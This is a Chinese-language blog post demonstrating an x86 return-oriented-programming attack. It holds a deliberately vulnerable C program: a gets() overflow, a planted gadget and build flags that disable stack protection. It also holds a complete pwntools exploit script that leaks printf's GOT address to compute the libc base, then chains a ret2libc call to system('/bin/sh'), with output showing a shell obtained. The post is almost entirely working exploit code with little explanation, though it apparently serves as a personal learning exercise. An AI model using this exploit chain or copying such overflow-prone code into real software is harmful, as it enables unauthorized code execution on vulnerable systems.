x86 rop攻击理解1

靶子代码:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int macdbg_dmphex( const char* buff, int len )  
{
    int retval = 0; 
    int x, y, tot, lineoff;
    const char* curr;
    lineoff = 0;
    curr = buff;
    tot = 0;
               
    for( x = 0; len > x+16; ){                      
         printf("0x%08x:  ", lineoff);           
         for( y = 0; y < 16; y++ ){
              printf("%02x ", (unsigned char)*(curr + y));
         }
         printf("  ");
         for( y = 0; y < 16; y++ ){
              char c;
              c = *(curr + y);
              if( c > 31 && c < 127 ){
                  printf("%c", c);
              }else{
                  printf("%c", '.');
              }
              tot++;
         }
         curr += 16;
         x += 16;
         lineoff+=16; 
         printf("\n");         
    }
                  
    //do last line
    if( tot < len ){
        curr = (buff + tot);
        printf("0x%08x:  ", lineoff);
        for( y = 0; y < (len - tot); y++ ){
             printf("%02x ", (unsigned char)*(curr + y));
        }
        //padding with spaces
        //printf("(len - tot) %d.\r\n", (len - tot) );
        if( (len - tot) < 16 ){
            for( y = 0; y < (32 - ((len - tot)*2)); y++ ){
                 printf(" ");
            }
        }
        for( y = 0; y < 16-(len - tot); y++ ){
             printf(" ");
        }
        printf("  "); 
       //printf("(len - tot) %d.\r\n", (len - tot) );
        for( y = 0; y < (len - tot); y++ ){
            char c;
            c = *(curr + y);
            if( c >31 && c < 127 ){
                printf("%c", c);
            }else{
                printf("%c", '.');
            }
        }
        printf("\n");    
    }
    return retval;
}


void gadget_pop_ebx() {
    asm("pop %ebx; ret;");
}

void fuck() 
{
    unsigned char *pxx;
    int i;
    char buffer[4];
    gets(buffer);
    //macdbg_dmphex(buffer, 0x100);
}

void xxx_fun(void)
{
    unsigned int *px;
    
    //printf("xxx_fun = %p\n", xxx_fun);
    //printf( (unsigned int *)0x0804a00c);
    
    px = (unsigned int *)0x0804a00c;
    
    //usleep(1);
    
    
    
    
     for(int i=0x00; i<2;i++){
       printf( 0x0804a00c);
     }
     
     
    // while(1){;}
     //usleep(1);
    
}

#include <stdio.h>
#include <dlfcn.h>
#include <link.h>

// 获取函数在动态库中的偏移量
static unsigned long get_func_offset(const char* lib, const char* func) {
    void* handle = dlopen(lib, RTLD_LAZY);
    if (!handle) return 0;
    
    void* addr = dlsym(handle, func);
    Dl_info info;
    dladdr(addr, &info);
    
    unsigned long offset = (unsigned long)addr - (unsigned long)info.dli_fbase;
    dlclose(handle);
    return offset;
}

int mainxcv() {
    
    int (*system_func)(char*);
    // 1. 获取printf实际地址
    void* printf_addr = dlsym(RTLD_NEXT, "printf");
    printf("printf address: %p\n", printf_addr);

    // 2. 获取libc基址
    Dl_info info;
    dladdr(printf_addr, &info);
    void* libc_base = info.dli_fbase;
    printf("libc base: %p\n", libc_base);
    
    printf("printf offset: %p\n", printf_addr-libc_base);
    

    // 3. 获取system偏移量(需提前计算)
    unsigned long system_offset = get_func_offset("libc.so.6", "system");
    printf("system offset: 0x%lx\n", system_offset);

    // 4. 计算system地址
    void* system_addr = (void*)((unsigned long)libc_base + system_offset);
    printf("system address: %p\n", system_addr);
    
    //int (*system_func)(char*)
    
    system_addr = system_addr;
    
    system_func = system_addr;
    system_func("/bin/bash");

    return 0;
}
char g_buff[16] = { 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39 };

void flushx(void)
{
    
    fflush(0);
    
}


int main() 
{   


// 定义函数指针类型(与printf签名匹配)
    int (*print_func)(const char*, ...);
    fuck();
    // 指向printf函数
    //print_func = printf;
    
    //printf( (unsigned int *)0x0804a00c ); 
    //printf( (unsigned int *)0x0804a00c );
    
    //printf( (unsigned int *)0x0804a00c ); 
    //printf( (unsigned int *)0x0804a00c );
    
    
    
    
    
    // 通过函数指针调用
    //print_func("Hello, World! %d\n", 2025);
    
    //print_func = 0xf7e44680;
    //print_func("Hello, Worldxxx! %d\n", 2025);
    
   
    void *addr = dlsym(RTLD_NEXT, "printf");
    printf("printf2 = %p\n", addr);    
    return 0;
}
//gcc -m32 -fno-stack-protector -z execstack ctest.c -o ctest -ldl


攻击脚本:

from pwn import *


#context(arch='i386', os='linux', log_level='debug')

context(arch='i386', os='linux',)
elf  = ELF('./ctest')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#精确获取关键地址
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.sym['main']

# 查找可靠gadget
#pop_ret = next(elf.search(asm('pop eax; ret')))  # 单参数清理
pop_ret = 0x8048865


log.success(f"Libc base1: {hex(libc.address)}")
log.success(f"Libc base2: {hex(libc.sym['printf'])}")

#printf_plt = 0x08048852


# 定义重复单元
leak_unit = [printf_plt, pop_ret, p32(printf_got) ]

fflush_plt = elf.plt['fflush']  # 获取fflush的PLT地址
# 构造泄露payload
payload = flat(
    b'A'*16,
    *leak_unit,  # 解包并重复4次
    
    fflush_plt,      # 调用fflush刷新输出
    pop_ret,
    0,               # 参数:stdout(通常为0)
    
    main_addr
)

# 交互过程
p = process('./ctest')
p.sendline(payload)
leaked = u32(p.recv(4))
libc.address = leaked - libc.sym['printf']
log.success(f"Libc base: {hex(libc.address)}")

#p.interactive()  # 获取交互式shell


system_addr = libc.symbols['system']
log.success(f"system@libc: {hex(system_addr)}")
log.success(f"system@libcx: {hex(libc.sym['system'])}")

# 已知地址
bin_sh_addr = next(libc.search(b'/bin/sh'))  # 自动搜索字符串

# 构造payload
payloadx = flat(
    b'A'*12,        # 填充缓冲区
    b'B'*4,         # 覆盖返回地址
    #ret,            # 栈对齐(可选)
    system_addr,    # 调用system
    0xdeadbeef,     # system的返回地址(随意)
    bin_sh_addr     # system的参数
)

# 再次执行攻击
p.sendline(payloadx)
p.interactive()  # 获取交互式shell


#run <<< $(python -c 'print("A"*16 + "\x52\x88\x04\x08" + "\x85\x87\x04\x08" + "\x0c\xa0\x04\x08" + "\xc0\x87\x04\x08")')


执行结果:

root@ubuntu:/mnt/hgfs/file_win2linux/stackyichu# python3.8 ./xx1.py 
[*] '/mnt/hgfs/file_win2linux/stackyichu/ctest'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] Libc base1: 0x0
[+] Libc base2: 0x49680
[+] Starting local process './ctest': pid 86010
[+] Libc base: 0xf7dfb000
[+] system@libc: 0xf7e35db0
[+] system@libcx: 0xf7e35db0
[*] Switching to interactive mode
\xa6\x84\x04\x08\xf0\xa3\xe5\xf7Ƅ\x04\x08P5\xe1\xf7\xe6\x84\x04\x08\xf6\x84\x04\x08\x06\x85\x04\x08\x16\x85\x04\x08$ 

$ pwd
/mnt/hgfs/file_win2linux/stackyichu
$  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值